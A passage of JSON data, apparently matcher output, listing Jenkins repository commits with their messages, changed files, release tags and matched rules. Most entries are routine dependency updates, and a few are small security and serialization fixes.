"jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8940", + "relevance": 2 + } + ] + }, + { + "commit_id": "b8236f82901467023e1fd5ea646a93afc953b1ff", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707382818, + "hunks": 11, + "message": "Create new index page for heap dump creation (#8929) Co-authored-by: Daniel Beck ", + "changed_files": [ + "core/src/main/java/hudson/util/RemotingDiagnostics.java", + "core/src/main/resources/hudson/util/Messages.properties", + "core/src/main/resources/hudson/util/RemotingDiagnostics/HeapDump/index.jelly", + "core/src/main/resources/hudson/util/RemotingDiagnostics/HeapDump/index.properties" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8929": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8929", + "relevance": 2 + } + ] + }, + { + "commit_id": "c0f66f52b4161a4caba10a877336618a359b1ea6", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707168689, + "hunks": 5, + "message": "Update dependency css-loader to v6.10.0 (#8931) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8931": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8931", + "relevance": 2 + } + ] + }, + { + "commit_id": "c7cfa30be868257fe250f6a2808a51fb35d81899", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707164436, + "hunks": 1, + "message": "Bump org.jenkins-ci.plugins:junit from 1256.v002534a_5f33e to 1259.v65ffcef24a_88 (#8925)", + "changed_files": [ + "test/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8925": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8925", + "relevance": 2 + } + ] + }, + { + "commit_id": "61d4d0ce51b5d87167350edab8ad45eed6f656af", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707149550, + "hunks": 4, + "message": "Update dependency stylelint to v16.2.1 (#8935) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8935": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8935", + "relevance": 2 + } + ] + }, + { + "commit_id": "2eb549efe20905cbca547c33f97c75cd080de88d", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707149526, + "hunks": 4, + "message": "Update dependency webpack to v5.90.1 (#8936) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8936": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8936", + "relevance": 2 + } + ] + }, + { + "commit_id": "4183fdb47456481b1ff24b5cfc188b05d1ecfe3f", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707058070, + "hunks": 701, + "message": "Update Yarn to v4.1.0 (#8930) * Update Yarn to v4.1.0 * Update yarn SHA256 Signed-off-by: Alexander Brandes --------- Signed-off-by: Alexander Brandes Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Alexander Brandes ", + "changed_files": [ + "war/package.json", + "war/pom.xml", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8930": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8930", + "relevance": 2 + } + ] + }, + { + "commit_id": "bd0743407b6220f50a988979b8682a2885f1fd85", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707037381, + "hunks": 1, + "message": "Bump release-drafter/release-drafter from 5 to 6 (#8927) Bumps [release-drafter/release-drafter](https://github.com/release-drafter/release-drafter) from 5 to 6. - [Release notes](https://github.com/release-drafter/release-drafter/releases) - [Commits](https://github.com/release-drafter/release-drafter/compare/v5...v6) --- updated-dependencies: - dependency-name: release-drafter/release-drafter dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + ".github/workflows/changelog.yml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8927": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8927", + "relevance": 2 + } + ] + }, + { + "commit_id": "b5f3d7173ccef98e4b41c653dda145c49e75537e", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707037266, + "hunks": 5, + "message": "Update dependency postcss-loader to v8.1.0 (#8932) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8932": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8932", + "relevance": 2 + } + ] + }, + { + "commit_id": "6cff8fe045a4b76d2d00f922123a44083ce0a466", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707037247, + "hunks": 6, + "message": "Update dependency sass-loader to v14.1.0 (#8933) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8933": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8933", + "relevance": 2 + } + ] + }, + { + "commit_id": "3e2f2c7307583c992f383e998cf7f0efaa84494d", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707037219, + "hunks": 1, + "message": "Update dependency lit to v3.1.2 (#8934) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "core/src/site/site.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8934": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8934", + "relevance": 2 + } + ] + }, + { + "commit_id": "3ad945f7f3ab32ffb561486a7e6e80b8d55fc22d", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706888673, + "hunks": 1, + "message": "[JENKINS-72636] Prevent authenticated access to Resource Root URL (#8922) Co-authored-by: Daniel Beck ", + "changed_files": [ + "core/src/main/java/jenkins/security/ResourceDomainRootAction.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8922": "[JENKINS-73422] Add escape hatch for Authenticated user access to Resource URL #9644" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8922", + "relevance": 2 + } + ] + }, + { + "commit_id": "81679b4598a3550d5e776ca070661efb8f2eb862", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706888421, + "hunks": 2, + "message": "`AbstractPasswordBasedSecurityRealm.authenticateByPassword` (#8921)", + "changed_files": [ + "core/src/main/java/hudson/security/AbstractPasswordBasedSecurityRealm.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8921": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8921", + "relevance": 2 + } + ] + }, + { + "commit_id": "57419f43b9bb89d564cee4913dd4a3216ba1e360", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706774264, + "hunks": 3, + "message": "[JENKINS-72613] Introduced `ItemGroup.getItemName` (#8902)", + "changed_files": [ + "core/src/main/java/hudson/model/AbstractItem.java", + "core/src/main/java/hudson/model/ItemGroup.java", + "core/src/main/java/hudson/model/Items.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8902": "[JENKINS-72613] ItemGroup.getItemName override jenkinsci/cloudbees-folder-plugin#367 [JENKINS-72613] Demonstrating bug & fix in test jenkinsci/workflow-multibranch-plugin#292 [JENKINS-72613] ItemGroup.getItemName override & refactor jenkinsci/cloudbees-folder-plugin#372" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8902", + "relevance": 2 + } + ] + }, + { + "commit_id": "ddf68d38749567b5c27fc308425f6ef49cb20f3d", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706774114, + "hunks": 5, + "message": "Fixing `NotSerializableException: org.acegisecurity.context.SecurityContext$1` (#8918)", + "changed_files": [ + "core/src/main/java/org/acegisecurity/context/SecurityContext.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8918": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8918", + "relevance": 2 + } + ] + }, + { + "commit_id": "c00a30da805e95e7fb69104af2ddaedb2a0fc74b", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706687431, + "hunks": 1, + "message": "Add marker class to submit buttons (#8920)", + "changed_files": [ + "core/src/main/resources/lib/form/submit.jelly" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8920": "Use the marker class to find the form submit button jenkinsci/jenkins-test-harness#725" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8920", + "relevance": 2 + } + ] + }, + { + "commit_id": "4d5bb02c8fadae4a8bcf3510613d6716756d7e3e", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706632601, + "hunks": 12, + "message": "Update dependency stylelint-checkstyle-reporter to v1 (#8919) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8919": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8919", + "relevance": 2 + } + ] + }, + { + "commit_id": "907394527c26926ba658d6353dcfaf409e10710b", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706632554, + "hunks": 1, + "message": "Bump com.puppycrawl.tools:checkstyle from 10.12.7 to 10.13.0 (#8915) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8915": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8915", + "relevance": 2 + } + ] + }, + { + "commit_id": "b62609806b4ca0a2e785af30187f928fcbb9b27d", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706549661, + "hunks": 35, + "message": "Update babel monorepo to v7.23.9 (#8910) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + 